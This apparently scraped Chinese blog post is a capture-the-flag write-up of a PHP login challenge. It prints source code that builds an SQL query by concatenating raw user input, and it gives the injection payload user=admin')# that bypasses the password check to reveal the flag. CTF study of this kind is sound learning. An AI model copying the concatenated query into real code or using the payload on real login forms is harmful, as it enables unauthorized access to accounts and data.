SQL注入1

Posted 成长中的利剑

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入1相关的知识,希望对你有一定的参考价值。

<html>
<head>
Secure Web Login
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . \':\' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user=\'".$user."\') and (pw=\'".$pass."\')";
    echo \'</br>\'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
例如本题双引号里面的都被解析了,所以不用闭合(带双引号)

直接输时是这种情况(发生了过滤)

所以我们直接注入

user=admin\')#&pass=7321

只管user剩下的注释掉

Logged in! flag:nctf{ni_ye_hui_sql?}


以上是关于SQL注入1的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

mybatis以及预编译如何防止SQL注入

sql注入--access

手机只需发条消息即可开始大规模SQL注入攻击

MyBatis怎么防止SQL注入